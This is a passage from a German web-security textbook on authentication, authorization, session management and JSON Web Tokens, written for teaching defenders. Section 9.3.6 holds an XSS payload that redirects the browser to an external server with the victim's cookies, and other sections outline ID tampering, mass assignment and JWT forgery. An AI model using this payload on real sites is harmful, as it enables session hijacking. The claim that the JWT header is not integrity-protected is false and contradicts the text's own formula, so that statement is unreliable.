verändert und die Gesamtapplikation besteht aus Komponenten, die in ver-
schiedenen Programmiersprachen/Frameworks implementiert wurden. Da Authentication-
Daten zumeist über das Framework abgehandelt werden, passiert es hier nun
häufig, dass bei einem Teil der Applikationen die Authentication vergessen
wird.
Ein weiteres häufiges Problem sind selbst geschriebene Komponenten. Ähnlich
wie bei dem letzten Fehlerfall wird hier eine bestehende Applikation um ei-
78 KAPITEL 7. AUTHENTIFIKATION

ne weitere Funktion erweitert, auch hier kann dies zeit verzögert durch neue
Programmierer geschehen. Bei den neu geschriebenen Komponenten wird ger-
ne auf die Authentication vergessen — eine mögliche Ausrede wäre es, dass
externe Programmierer eventuell das bestehende System nicht gut kennen.
Beispiel: eine Kundenwebseite erlaubt den Download von Rechnungen.
Die gesamte Webseite ist in JSP geschrieben, die Downloadseite allerdings
in [Link]. Rechnungen können über die URL /documents/download/123
bezogen werden. Bei Tests wurde festgestellt, dass über freie Wahl der ID
(Zahl) beliebige Kundenrechnungen heruntergeladen werden konnten, da kei-
ne Authentication implementiert wurde. Bei Analyse der Logdateien wurde
weiters festgestellt, dass die betroffenen Daten bereits vom Google SearchBot
indiziert wurden und somit im Suchindex aufgenommen waren.
Gegenbeispiel: die Webseite eines Personentransportunternehmens verschickt
eine Email mit einen Link auf das gekaufte Ticket. Beim Ticket-Download wird
keine Authentication durchgeführt, Begründung: bei der Kontrolle gab es im-
mer wieder Probleme, dass Kunden ihr Ticket nicht herunterladen konnten da
sie ihre Zugangsdaten vergessen hatten. Um das Risiko zu senken wurden als
IDs große Zufallszahlen gewählt.

7.6 Reflektionsfragen
1. Was versteht man unter Multi-Faktor-Authentication?

2. Wie funktionieren TOTP und FIDO U2F? Worin liegen konzeptionelle


Unterschiede?

3. Welche Regeln sollten bei der Speicherung von Passwörtern und zu der
Sicherung der Qualität der Passwörter beachtet werden?

4. Was ist der Unterschied zwischen Identification und Authentication?


Nenne zumindest vier Beispiele wie ein Benutzer identifiziert werden
kann.

5. Wie sollte ein Login-Formular gestaltet sein? Von welchen Techniken


sollte man Abstand nehmen?

6. Was ist eine User Enumeration und wie kann man sich dagegen schützen?
Was sind komplexere Applikationsfunktionen die schwer gegenüber User
Enumeration absicherbar sind?

7. Was sind Brute-Force Angriffe und wie werden die dabei verwendeten
Daten erzeugt? Welche Gegenmaßnahmen gibt es?
7.6. REFLEKTIONSFRAGEN 79

8. Auf welche Gefahren sollten bei der Implementierung der Passwort-


Vergessen Funktion geachtet werden?
KAPITEL 8
Authorization

Unter Authorization versteht man die Kontrolle der Benutzerrechte vor der
Ausführung der jeweiligen Operation.
Bei einer fehlerhaften Authorization muss ein Angreifer sich zumindest au-
thentifizieren. Im Fehlerfall kann der Betreiben den Login- und Registrierungs-
prozess unterbinden, alle Benutzer ausloggen und erhält auf diese Weise eine
Plattform, auf die ein trusted User wieder zulassen kann um dadurch einen
eingeschränkten Betrieb zu ermöglichen (während der grundlegende Fehler
behoben wird). Im Gegensatz dazu, muss bei einer fehlenden Authentication
die Plattform deaktiviert werden, da diese Möglichkeit zur Einschränkung auf
vertrauenswürdige Benutzer entfällt.

8.1 Probleme bei der Berechtigungsüberprüfung


In diesem Kapitel wird auf mehrere Probleme im Zusammenhang mit Bereich-
tungsüberprüfungen eingegangen.

8.1.1 Keine/Fehlende Authorization


Die Applikation überprüft zwar die Authentication aber jeder eingeloggte Be-
nutzer darf alle Operationen aufrufen.
Da ein Benutzer sich initial authentifizieren muss, kann aufgrund des Log-
verlaufs der Fehler zumindest analysiert und der bösartige User ausgesperrt
werden. Eine Gefährdung durch Crawler findet ebenso nicht statt, da diese
keine valide Authentication durchführen können.

81
82 KAPITEL 8. AUTHORIZATION

Analog zu den Fehlern bei der Authentication, kann es zu Problemen kom-


men wenn eine Applikation innerhalb mehrere Programmiersprachen/Frameworks
implementiert wurde bzw. weitere Komponenten zu einer bestehenden Lösung
hinzugefügt wurden. Hauptproblem ist die Integration der Authorization in
das Bestandssystem. Als Pen-Tester sollte man immer diese Komponenten
gezielt auf Authentication- und Authorization-Fehler hin testen.
There is a special place in hell for developers that think that not-displaying
UI elements is a kind of authorization. Häufig werden in Abhängigkeit der
Benutzerrolle nur Teile der Funktionalität angezeigt. Ein Angreifer der einen
zweiten Benutzeraccount mit diesen Rechten (oder Log-Dateien) besitzt, erhält
allerdings Informationen über die Operationen und kann diese direkt aufrufen.
Dies ist ein Fall von Security by Obscurity.
Das erzwungene Aufrufen von Webseiten über URLs wird auch Forceful
Browsing genannt. Wird direkt auf Ressourcen, wie z. b. Downloadlinks, zu-
gegriffen, wird dies direct object reference genannt.

8.1.2 Unterschiedliche Authorization in Alternate Channels


Falls eine Webapplikation Daten oder Operationen auf unterschiedliche Arten
und Weisen anbietet, müssen die Schutzmechanismen auf den verschiedenen
Kanälen synchronisiert werden.
Wird z.B. eine Operation direkt mittels der Webseite als auch über ei-
ne SOAP Webservice-Schnittstelle (z.B. für eine mobile Applikation) ange-
boten, müssen auf beiden Schnittstellen die gleichen Zugriffsberechtigungen
überprüft werden. Häufig kann man während Penetration-Tests verminderte
Schutzmaßnahmen bei Webservice-Schnittstellen feststellen.

Probleme bei Verwendung von WebSockets


WebSockets unterliegen nicht der Same-Origin-Policy moderner Webbrowser.
Es wird daher empfohlen, bei öffnen des WebSockets serverseitig den Ori-
gin-Header auf valide aufrufende Webseiten hin zu überprüfen. Während des
initialen Handshakes wird ein Web-Socket-Key übertragen. Dieser dient nur
zur Identifikation des Browsers gegenüber dem Webserver und darf nicht zu
Authentications- bzw. Authorization-Zwecken verwendet werden.
Über WebSockets werden zumeist Nachrichten verschickt. Der Server wird
auf den Erhalt einer Nachricht hin eine Operation starten, vor dieser muss der
Server eine Berechtigungsüberprüfung durchführen. Die Berechtigungen zwi-
schen WebSockets und HTTP-basierte Kommunikation müssen auf jeden Fall
synchron gehalten werden (siehe auch, Different Authorization in Alternate
8.1. PROBLEME BEI DER BERECHTIGUNGSÜBERPRÜFUNG 83

Channels). Ein häufiges Problem ist, dass der Client vor der Authentication
des WebBrowsers gegenüber dem Client bereits einen WebSocket öffnet. In
diesem Fall wird meistens eine parallele Session-Verwaltung auf server-seite
aufgebaut: innerhalb einer Serverdatenbank wird für den WebSocket-Client
eine Session-Id oder eine Token-Id generiert, in der Datenbank der betref-
fende Web-Benutzer dem Token zugeordnet und dem Client das token/die
session mitgeteilt. Der Webbrowser muss nun bei jeder WebSocket Anfrage
dieses Secret mit übertragen und der Server kann den User über dieses Token
identifizieren.

8.1.3 Hint: Update Operationen


Anhand eines Beispiels soll gezeigt werden, warum auch einfache Operatio-
nen komplexe Sicherheitsfragen aufwerfen können. Bei dem konkreten Bei-
spiel sollen Benutzerdaten aktualisiert werden. Hierfür wird folgende Update-
Operation aufgerufen:

POST /user/update/1 HTTP/1.1

Als Parameter wird ein JSON-String mit den neuen Werten übergeben:

{
"id" : "1",
"name" : "happe"
}

Bei diesem Beispiel fallen folgende sicherheitsrelevanten Fragen an:

ˆ kann ich durch Setzen einer anderen ID (statt 1) in der URL auf einen
anderen Datensatz schreibend zugreifen?
ˆ was passiert, wenn man die ID im Datensatz ändert? Teilweise überprüfen
Webapplikationen nur die ID innerhalb der URL und ignorieren die IDs
innerhalb des Datensatzes. Mit Glück kann man diesen Missmatch zum
Überschreiben anderer Datensätze verwenden.
ˆ was passiert, wenn im Datensatz keine ID vorkommt und der Angreifer
manuell ein ID-Element in das JSON-Dokument hinzufügt?
ˆ was passiert, wenn der Angreifer ein neues JSON-Element namens “Ad-
min”: “true” hinzufügt?
84 KAPITEL 8. AUTHORIZATION

ˆ was passiert, wenn der Angreifer statt HTTP POST eine HTTP GET
Operation verwendet? HTTP GET sollte eigentlich eine read-only Ope-
ration sein, deswegen werden GET requests teilweise von Web-Application
Firewalls nicht kontrolliert und man kann auf diese Weise Firewall-
Regeln umgehen.

8.1.4 Mass-Assignments
Moderne Web-Frameworks versuchen die Effizienz von Programmierern zu
verbessern. Ein Feature, welches potentiell negativen Einfluss auf die Sicher-
heit einer Applikation besitzt ist mass assignments.
Unter Mass-Assignment versteht man das automatisierte Zuweisen von
Werten aus einem HTTP Request zu einem Datenbank-Objekt. So könnten
z.B. bei einem User-Update die übergebenen HTTP-Parameter automatisch
gegenüber den bekannten Datenbankfeldern gematched werden und Parameter
wie z.B. vorname oder nachname werden automatisch auf das Datenbankfeld
vorname und nachname des betroffenen Datensatzes gemapped und aktuali-
siert.
In Ruby on Rails würde der betroffene Code folgendermaßen aussehen:

@user = [Link](params[:id])
@[Link](params[:user])

Die erste Zeile des Beispiels verwendet den übergebenen id Parameter um


aus der Datenbank ein User-Objekt zu laden. In der zweiten Zeile werden nun
die vorhandenen HTTP-Parameter automatisch den vorhandenen Feldern des
User-Objektes zugewiesen.
Dies ist aus Sicherheitssicht problematisch. Ein Angreifer kann versuchen
potentielle Datenbankfelder zu erraten und diese mittels mass-assignment zu-
zuweisen. Beispiele wären z. b. das Setzen von role=admin oder admin=true.
Um dies zu verhindern besitzen die meisten Frameworks ein Möglichkeit
Attribute für das Mass-Assignmentexplizit zu verbieten (black-list) oder zu
erlauben (white-list). Aus Sicherheitssicht ist das automatische Ablehnen von
Attributen und die explizite Freigabe einzelner Attribute (also das White-
Listing) vorzuziehen.
In Ruby on Rails würde der betroffene Code folgendermaßen aussehen:

@user = [Link](params[:id])
@[Link]([Link](:user).permit(:full_name))
8.2. SCOPING VON DATEN 85

In diesem Fall werden nur die Felder full name für das Objektes user mit-
tels mass-assignment aktualisiert.

8.2 Scoping von Daten


Unter Scoping von Daten versteht man das Einschränken der verfügbaren
Daten auf einen Subbereich. Eine Web-Operation wird meistens für einen Be-
nutzer aufgerufen, die potentiell verfügbaren Daten sollten so früh wie möglich
auf die für den Benutzer verfügbaren Daten eingeschränkt werden.
Beispiel: eine Applikation verwaltet Rechnungen, jede Rechnung hat einen
Benutzer als Autor. Mittels einer Update-Operation kann eine Rechnung be-
arbeitet werden. Dies geschieht mittels der Operation /invoice/1/update, in
der Applikation ist der gerade angemeldete autorisierte User als current user
bekannt, mittels current [Link] kann man auf die Rechnungen des ak-
tuellen Users zugreifen, mittels Invoice auf alle Rechnungen die dem System
bekannt sind.
Die Update-Operation sollte nun folgendermaßen aussehen:

# hier sollte NICHT [Link](params[:id]) stehen


@invoice = current_user.[Link](params[:id])

# normaler Update-Code
@[Link](the_data_which_will_be_updated)
@[Link]

Durch die Verwendung des User-Scopes wird implizit der Zugriff auf Rech-
nungen des aktuellen Benutzers erzwungen. Dadurch müssen Zugriffsberech-
tigungen nicht zusätzlich explizit kontrolliert werden.

8.3 Time of Check, Time of Use (TOCTOU)


Der Zeitpunkt der Berechtigungsüberprüfung ist essentiell. So genannte Ti-
me of Check, Time of Use Angriffe nutzen racing conditions zwischen der
Überprüfung von Operationsberechtigungen und der Ausführung von Opera-
tionen aus.
Ein gutes Beispiel für die TOCTOU-Problematik sind zumeist Token-
basierte Systeme. Hier wird die Berechtigung eines Anwenders überprüft und
danach ein Token mit einer definierten Laufzeit ausgestellt. Wird das Token
während der Laufzeit an eine Operation überreicht, wird dieses valide Token
als Zugangsberechtigung akzeptiert und die Operation ausgeführt auch wenn
86 KAPITEL 8. AUTHORIZATION

zwischenzeitlich die Berechtigungen des Benutzer modifiziert wurden und der


Benutzer die Operation eigentlich nicht mehr ausführen dürfe.

8.4 Reflektionsfragen
1. Erkläre den Unterschied zwischen Identifikation, Authentication und
Authorization?

2. Was versteht man unter Authorization? Wann und wo sollte diese durch-
geführt werden? Welches Sicherheitsproblem versteht man unter Insecu-
re Direct Object Reference bzw. unter Forced Browsing?

3. Welche Probleme können im Zusammenhang mit Mass-Assignment auf-


treten?

4. Gegeben ein Webshop mit einem Downloadlink für Rechnungen http:


//[Link]/invoices/1/download. Welche sicherheitsrelevanten
Fehler können hier nun auftreten?

5. Gegeben eine Profil-Updatefunktion welche als POST /user/1/upda


te implementiert wurde, als Parameter werden die Felder id, email,
new password und rolle (mit Wert user ) übergeben. Erkläre zumindest
drei Sicherheitsprobleme die während des Updates eines Benutzers auf-
treten können.
KAPITEL 9
Session Management

Eine Session ist eine stehende Verbindung zwischen einem Client und einem
Server. Innerhalb der Session kann der Server Zugriffe einem Client zuordnen.
Nach erfolgtem Login kennt der Server also die Benutzeridentität des Clients
(bis zum erfolgten Logout). Im Web-Umfeld werden zumeist Cookie-basierte
Sessions verwendet, andere Möglichkeiten wären z.B. Token basierte Systeme.
Token-basierte Systeme werden gerne zur Übertragung von Zugangsbe-
rechtigungen für REST- oder SOAP-Webservices verwendet. Sofern die Ser-
vices state-less sind, ist dies eine sehr gute Kombination. In diesem Fall werden
alle notwendigen Session-/Benutzerinformationen im Token transportiert, der
Service selbst persistiert keine State-Informationen. Durch diese funktiona-
le Herangehensweise kann der Service perfekt horizontal skalieren: wird mehr
Performance benötigt, werden weitere Service-Worker gestartet. Dies ist häufig
bei Webservices die durch Mobilapplikationen konsumiert werden der Fall, al-
lerdings seltener bei interaktiven Webapplikationen. Bei letzteren wird der To-
ken häufig als Session-Identifikatior missbraucht und dient zur Identifikation
einer serverseitigen Session — der Service ist also state-ful. Um ein vollwerti-
ges Session-System zu erlangen müssen Programmierer nun dieses, basierend
auf dem Token als Identifier, selbst programmieren und erfinden daher quasi
das Rad neu. Die Verwendung von Token erbringt keine Vorteile mehr und
sollte in diesem Fall diskutiert werden. Ein häufiger Grund diesen Nachteil in
Kauf zu nehmen ist, dass zumindest Web- und Mobilapplikationen die idente
serverseitige API konsumieren können.

87
88 KAPITEL 9. SESSION MANAGEMENT

9.1 Client- vs Server-Side Session


Mit Hilfe des Cookies kann der Server nun ein Session-Management Sche-
ma implementieren. Prinzipiell gibt es nun die Unterscheidung in client- und
server-seitigem Session-Schemas.
Bei der client-seitigen Variante speichert der Server alle für die Authenti-
cation relevanten Daten direkt im Cookie und versendet dieses an den Client.
Am Server selbst wird keine Session-Information gespeichert. Bei jedem Folge-
zugriff inkludiert der Client dieses Cookie, der Server interpretiert diese Daten
und bildet anhand dieser die Benutzersession. Bei diesem Verfahren sind meh-
rere Punkte problematisch:

ˆ Der Client kann das Cookie beliebig verändern. Dadurch könnte z.B. ein
im Cookie gespeicherter Benutzername auf “admin” geändert werden.
Der Server kann dies umgehen, indem er das Cookie signiert und dadurch
dessen Integrität sichert.

ˆ Der Client kann das Cookie auslesen, und dadurch Zugriff auf poten-
tiell sensible Daten erhalten. Der Server kann dies umgehen, indem
er das Cookie verschlüsselt und dadurch die Confidentiality der Daten
gewährleistet.

ˆ Der Server besitzt keine Möglichkeit serverseitig alle Sessions eines Be-
nutzers zu invalidieren (sprich, alle Session eines Benutzers auszuloggen).

Bei einer server-seitigen Sessionimplementierung generiert der Server ei-


ne eindeutige zufällige ID und speichert diese innerhalb des Cookies. In einer
serverseitigen Datenbank wird nun diese ID dem eingeloggten Benutzer zuge-
ordnet und potentiell noch weitere Metainformationen (Zeitpunkt des Logins,
IP-Adresse, etc.) gespeichert. Bei dieser Lösung werden die im Client gespei-
cherten Daten minimiert und der Server besitzt die Möglichkeit alle Sessions
zu beenden (indem er die Einträge des Users aus der Session-Tabelle löscht).
Aus Sicherheitssicht sind server-seitige Sessions zu bevorzugen; einige neue-
re Standards wie die österreichische ÖNORM A77.00 schreiben den Einsatz
von server-seitigen Sessions vor.

9.1.1 Token-basierte Systeme für interaktive Sessions


Häufig werden client-seitige Token Systeme als direkte Alternative zu Cookie-
Session-basierten Systemen angepriesen. Als Vorteil wird zumeist ihre bes-
sere Skalierbarkeit (wenn nur Token-gespeicherte Daten für eine Operation
9.1. CLIENT- VS SERVER-SIDE SESSION 89

benötigt werden, wird kein Datenbank-Zugriff benötigt) und Sicherheit (durch


die Verwendung von Kryptographie) angepriesen. Diese Begründung macht
leider zumeist nur begrenzt Sinn.
Bei den meisten Operationen bei denen eine Autorisation überprüft wird,
benötigen eine Form des Datenbankzugriffs da zusätzliche Daten zu den, im
Token gespeicherten, Daten benötigt werden. Dadurch wird der Skalierbarkeits-
Vorteil entkräftet. Zusätzlich ist bei jedem Zugriff eine, potentiell teure, kryp-
tographische Operation notwendig. Die Verwendung von Kryptographie inner-
halb des Tokens ist orthogonal zu der Gesamtsicherheit der Webapplikation.
Eine Cookie-basierte client-seitige Lösung kann ebenso eine Signatur (bzw.
einen MAC1 ) verwenden um die Integrität der Daten zu gewährleisten. Eine
server-seitige Cookie-basierte Sessionlösung würde diese Überprüfung nicht
benötigen, dafür allerdings einen kryptographischen Zufallszahlengenerator
zur Generierung der Session-Id verwenden.
Negativ für die Sicherheit ist das Fehlen einer server-seitigen Session-
Komponente. Wie kann eine kompromittierte Session server-seitig invalidiert
werden? Die naive Lösung, den privaten server-seitigen Schlüssel, der zur Er-
stellung des MACs/der Signatur des Tokens verwendet wird, zu tauschen ist
nicht praktikabel, da dadurch alle aktiven Sessions ungültig werden würden.
Wird eine server-seitige Blacklist geführt, wird aus dem Token auf einer logi-
schen Ebene eine server-seitige Session: der Entwickler hat nun das Rad neu
erfunden und dabei wahrscheinlich neue Bugs eingebaut.
Wird eine Kombination von kurzlebigen Access-, und langlebigen Refresh-
Tokens verwendet, wird dadurch das verwundbare Zeitfenster nur reduziert
und eine Angreifer muss nur das Refresh- statt dem Access-Token entwen-
den um den selben Effekt zu erreichen. Wird beim Neuausstellen des Access-
Tokens mittels des Refresh-Tokens das Token gegen eine Blacklist verglichen,
hat der Entwickler wieder quasi server-seitige Sessions neu erfunden.
Token-basierte Systeme sind gut dafür geeignet, Clients im Auftrag des
Users Zugriff auf Operationen und Daten zu erlauben. Dies kann z.B. eine
third-party Webseite oder eine Mobilapplikation sein. Für interaktive Web-
seiten sind sie potentiell suboptimal da sich die Entwickler Gedanken um die
Revocation ausgestellter Tokens machen müssen. Synergie-Gründe (die gleiche
API kann von einer Webapplikation als auch von mobilen Applikation verwen-
det werden) können eine Token-basierte Lösung interessant machen, in diesem
Fall müssen allerdings die Vor- und Nachteile der selbst-implementierten Re-
vocation abgewogen werden.

1
Message Authentication Code
90 KAPITEL 9. SESSION MANAGEMENT

9.1.2 ViewState
Das ViewState-pattern speichert den aktuellen Status der View (z.B. eingege-
bene Daten, Verlaufshistorie, aktuell verfügbare Operationen) innerhalb des
ViewStates, z.B. als hidden Parameter innerhalb jedes Formulars. Da der
ViewState am Client gespeichert wird, muss der Server sich um den Inte-
gritäts- und Confidentiality-Schutz kümmern.
Bei jeder Operation wird der ViewState vom Browser dem Server übergeben.
Dieser überprüft die Integrität des ViewStates, verifiziert dass der ViewState
mit der gewünschten Operation kompatibel ist, führt danach die Operation
aus und aktualisiert den ViewState. Dieser wird dann innerhalb der nächsten
Formulare wieder als hidden field eingetragen.

9.2 Idealer Sessionablauf


Der Soll-Session-Lifecycle wäre:

1. Benutzer führt ein Login durch. Während des erfolgreichem Logins wird
eine neue zufällige Session-Id am Server mittels eines kryptographisch-
sicheren Zufallsgenerator generiert, und dem Client auf sicherem Weg
mitgeteilt.

2. Der eingeloggte Benutzer führt nun mehrere Operationen aus. Der Brow-
ser des Benutzers inkludiert das Session-Cookie bei jedem Zugriff.

3. Vor dem Zugriff auf sensible Operationen oder Daten wird überprüft, ob
die Session-Id noch aktiv ist. Der logische Benutzer wird der Session zu-
geordnet und die Applikation führt Überprüfung der Benutzeridentität
und -berechtigung durch.

4. Während des Logouts wird sowohl server-seitig als auch client-seitig das
Session-Cookie gelöscht und damit die Session auf beiden Seiten invali-
diert.

9.3 Potentielle Probleme beim


Session-Management
Während der ideale Sessionverlauf relativ einfach aussieht, können dabei meh-
rere sicherheitsrelevante Probleme auftreten:
9.3. POTENTIELLE PROBLEME BEIM SESSION-MANAGEMENT 91

9.3.1 Session-Id wird verloren


Die Session-ID dient als Erkennungsmerkmal eines Benutzers. Wenn ein An-
greifer die Session-Id erlangt, kann er die Identität des Benutzers am Server
übernehmen.
Am einfachsten gelingt dies, wenn der Server nicht HTTPS verwendet. In
diesem Fall benötigt der Angreifer nur Zugriff auf die Transportdaten (z.B.
mittels Sniffing im gleichen WLAN ohne Client-Separation). Der Angreifer
kann nun seine Session-Id mit der des Opfers ersetzen und übernimmt auf
diese Weise dessen Identität.
Aus diesem Grund sollten Webseiten nur mehr mittels HTTPS angebo-
ten werden und auch automatisch HTTP Aufrufe auf HTTPS umleiten. Da
zumeist Webseiten sowohl über HTTP und HTTPS angeboten werden, kann
es zu Problemen kommen: z.B. könnte ein unbedarfter Benutzer eine HTTP
Adresse in einem Browser eingeben. In diesem Fall übermittelt der Browser
automatisch bei diesem ungesicherten Request das Session-Cookie. Während
er danach automatisch vom Server auf HTTPS umgeleitet wird, ist dies bereits
zu spät da bei dem ersten ungesicherten Request schon das Cookie disclosed
wurde.
Eine Lösung für dieses Problem bietet das secure-Flag das bei einem Coo-
kie gesetzt werden kann. Dieses Flag unterrichtet den Webbrowser, dass das
Cookie nur mittels HTTPS übertragen werden darf. Im Fall einer HTTP Ope-
ration wird die Operation durch den Browser ohne Cookie durchgeführt. Die
Verbindungssicherheit kann ebenso durch die Verwendung des HSTS-Headers
bzw. durch Einsatz bestimmter CSP-Direktiven sichergestellt werden.

9.3.2 Mixed-Content / FireSheep


Die Verwendung von sowohl HTTP als auch HTTPS innerhalb einer Seite ist
ebenso problematisch. Dieses Pattern war um das Jahr 2010/11 stark verbrei-
tet, u.a. von Seiten wie Facebook, Twitter und Flickr. In diesem Fall war nur
die Login und Logout Operation mittels HTTPS geschützt, weitere Inhalte
wurde mittels HTTP übertragen. Die Begründung war, dass sensible Daten
(Benutzername und Passwort) verschlüsselt werden und keine sensiblen Da-
ten in den übertragenen Seiten enthalten sind2 . Hauptgrund dafür war ge-
ring verfügbare Rechenkapazität und die relativ ”teure”Verschlüsselung (also
schlussendlich Kosten).
2
Ja, es war eine einfachere Zeit. Mittlerweile würde der Inhalt eines Facebook-Kontos
auch als kritisch eingeschätzt werden.
92 KAPITEL 9. SESSION MANAGEMENT

Dies ist natürlich problematisch, da ein Angreifer mit Zugriff auf die Netz-
werkdaten die Session-Id extrahieren und dadurch die serverseitige Identität
übernehmen kann. Dies wurde eindrucksvoll mittels FireSheep gezeigt: diese
Firefox-Erweiterung zeigte in einer SideBar alle erkannten Sessions an, der
Anwender konnte durch Click auf die Sidebar die jeweilige Session im Browser
aktivieren. Aufgrund der Publicity dieses Tools fingen Seiten schnell an, HTT-
PS durchgängig zu implementieren. Eine weitere Firefox Erweiterung die in
Reaktion darauf erschien war HTTP Everywhere (erzwingt den Einsatz von
HTTPS wenn eine Seite sowohl über HTTP und HTTPS verfügbar ist).

9.3.3 Session-Id in GET-Parameter


Sensible Daten sollten niemals als Teil der URL bzw. über HTTP GET Para-
meter übertragen werden. Dies gilt auch für die Session-Id.
Welche Probleme können bei der Verwendung als GET Parameter auftre-
ten?

ˆ Die Session-Id ist Teil der URL und wird mit hoher Wahrscheinlichkeit
in Web-Proxies und Web-Server Logdateien gespeichert.

ˆ Die URL inklusive der GET Parameter sind Teil der Browser Historie.
Durch Fehler in Browsern können Fremdseiten teilweise auf die Brow-
serhistorie zugreifen.

ˆ GET Parameter werden teilweise von Site Analysis Tools verwendet.


Dies würde implizieren, dass z.B. bei Verwendung von Google Analytics
alle Session-IDs an Alphabet weitergeleitet werden.

ˆ Wird ein Cookie als Teil der URL verwendet, wird dieser Session-Wert im
Normalfall über den Referer-Header übertragen. Auf diese Weise würde
jede besuchte externe Webseite diesen Session-Wert.

Anstatt des GET-Parameters sollte die Cookie-basierte HTTP Session ver-


wendet werden. Falls dies nicht möglich ist, sollte ein HTTP POST statt GET
verwendet werden. Während dies die Gefährdung durch einen bösartigen An-
greifer nicht minimiert, verringert es das Fehlerrisiko.

9.3.4 Session-Id ist vorher bestimmbar


Eine Session-Id muss eine zufällig generierte Zahl sein, dies impliziert die
Verwendung eines kryptographischen Zufallszahlengenerators. Beispiele für
schlecht gewählte Session-Ids wären:
9.3. POTENTIELLE PROBLEME BEIM SESSION-MANAGEMENT 93

ˆ Aufsteigende Zahlen

ˆ Verwenden eines Hashs über erratbare Eingangswerte: hash(Systemzeit),


hash(username), hash(username:password).

ˆ Verwenden eines MACs über konstante Daten: mac(username), mac(username:password)

ˆ mac(systemzeit) — mittels NTP Angriffe kann versucht werden, die Zeit


des Servers in die Vergangenheit zu bewegen.

ˆ Verwendung eines nicht-kryptographisch sicheren Zufallszahlengenera-


tor (z.B. [Link] statt [Link] in Java).

Während eines Pen-Tests würde die Zufälligkeit der Session-Id getestet


werden. Dies geschieht indem man sich mehrere Tausend Male einloggt und
mittels statistischer Methoden die Zufälligkeit und Entropie der Session-Id
analysiert.

9.3.5 Session Fixation


Ein weiteres Problem besteht, wenn der Angreifer eine Session-Id dem Client-
browser vorschreiben kann bzw. eine konstante Session-Id bekannt ist.
Letzteres passiert, wenn die Webapplikation beim ersten Zugriff eines Brow-
sers eine Session-Id vergibt und diese während des Logins nicht neu setzt. Im
einfachsten Fall würde ein Angreifer kurz Zugriff auf den Browser des Opfers
erhalten (z.B. durch einen nicht gesperrten PC innerhalb eines Büros), die
Zielwebseite besuchen und den Wert des Session Cookies aufzeichnen. Wenn
sich nun (Stunden später) das Opfer einloggt, kennt der Angreifer bereits den
Wert des Session-Cookies und kann auf diese Weise die Session übernehmen.
Alternativ: unter der Annahme, dass die Webseite zusätzlich eine Operati-
on besitzt bei der das Session-Cookie mittels HTTP GET Parameter übergeben
wird. In dem Fall kann der Angreifer einen Social Engineering Angriff durchführen.
Er verschickt Emails mit Links auf die betreffende Operation mit zufällig gene-
rierten Session-Ids. Wenn ein Opfer nun auf diese Operation zugreift, erkennt
der Webserver, dass das Opfer nicht eingeloggt ist und leitet das Opfer zum
Login-Dialog. Das Opfer logt sich ein, der Webserver übernimmt die Session-
Id. Der Angreifer muss nur periodisch testen, ob mit einer der versendeten
Session-Ids ein Login möglich ist.
94 KAPITEL 9. SESSION MANAGEMENT

9.3.6 Session-Extraktion mittels XSS-Lücke


Mittels Javascript kann auf Session-Cookies zugegriffen werden. Falls die Web-
seite eine (der häufigen) XSS-Lücken3 ) besitzt kann ein Angreifer nun Javascript-
Code auf der Webseite platzieren, warten bis ein anderer Benutzer darauf
zugreift und mittels des Javascript-Codes die Session-Id auf einen externen
Server übermitteln. Dieser Angriffsvektor macht vor allem Spaß, wenn eine
Nachrichtenfunktion innerhalb einer Applikation verwundbar ist, da man da-
durch einzelne Benutzer direkt anvisieren kann.
Beispiel für ein einfaches Javascript-Fragment welches ein Redirect auf
einen externen Server ([Link]) durchführt und als GET-Parameter die ak-
tuellen Cookies übergibt:

<script>[Link] =
,→ '[Link]
</script>

Folgende Gegenmaßnahmen sollten implementiert werden:

ˆ keine XSS-Lücke in der Webseite implementieren. . .

ˆ durch Verwendung des httpOnly-Cookie Flags kann dem Webbrowser


mitgeteilt werden, dass der Zugriff mittels Javascript auf das Session
Cookie nicht erlaubt ist.
ˆ CSP bietet Möglichkeiten XSS-Angriffe einzuschränken.

9.4 JSON Web Tokens


JSON Web Tokens (JWT) sind standardisierte (RFC 7519) Tokens die als
HTTP Parameter, HTTP Session Cookies oder mittels eines HTTP Headers
übertragen werden können. Ein JSON Web-Token besteht aus drei Bereichen:

ˆ Header: dieser Bereich speichert vor allem den verwendeten Algorithmus


zur Erstellung des Integrity Checks.
ˆ Content: JSON-Dokument welches die eigentliche Payload des Tokens
ist. Es gib hier mehre vordefinierte optionale Werte: iss beschreibt den
Issuer/Aussteller des Tokens, sub beschreibt das Subjekt des tokens, aud
die geplante Audience (welche Server sollen das Token erhalten, exp und
nbf den Gültigkeitszeitraum des tokens, iat den Ausstellungszeitpunkt.
3
Siehe auch das XSS-Kapitel 12.1, Seite 147
9.4. JSON WEB TOKENS 95

ˆ Integrity Check: der integrity check verwendet den, im alg-Header defi-


nierten Algorithmus über header und content um eine Checksumme zu
bilden.

Die Gesamtstruktur des Tokens ist:

verification = algorithm(base64(header) + "." + base64(content))


token = base64(header) + "." + base64(content) + "." + base64(hash)

Ein Beispiel für einen Token (man kann dabei die drei durch einen . ge-
trennten Base64-Bereiche erkennen. Da es sich um encoded JSON handelt,
beginnen die beiden ersten Base64-Blöcke immer mit eyJ ):

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ik c
,→ pvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV c
,→ _adQssw5c

9.4.1 Problem: Null-Algorithmus


Ein grundlegendes Problem bei JWT ist, dass die Checksumme nur über den
content Bereich berechnet wird. Der gesamte header Bereich wird nicht inte-
gritätsgeschützt. Dies erlaubt es einem Angreifer, die in dem Header vorhan-
denen Metadaten beliebig zu verändern.
Ein einfacher Angriff gegenüber JWT das Setzen des alg Parameters in-
nerhalb des Headers auf den NULL-Algorithmus. Dies bedeutet, dass keine
Checksumme berechnet, und der dritte Part des JWTs einfach leer bleibt.
Dadurch kann der Angreifer den content nun beliebig wählen und verletzt
dabei trotzdem keine Integritätsregeln.

9.4.2 Probleme bei MAC-basierter Verifizierung


Wenn ein Angreifer einen ausgestellten JWT empfängt (weil er z.B. ein Benut-
zer einer Webapplikation ist) besitzt er die Möglichkeit, einen Offline-Brute
Force Angriff gegen den Token durchzuführen. Der Angreifer besitzt die Ein-
gangsdaten für den MAC (die Base64-codierten header und content Bereiche
des Tokens) und kann nun mittels eines Brute-Force Angriffs versuchen, den
Schlüssel des MACs zu erraten.
Aus diesem Grund muss bei Einsatz eines MACs immer ein sehr sicherer
Schlüssel gewählt werden.
96 KAPITEL 9. SESSION MANAGEMENT

9.4.3 Problem: MAC vs. Signature


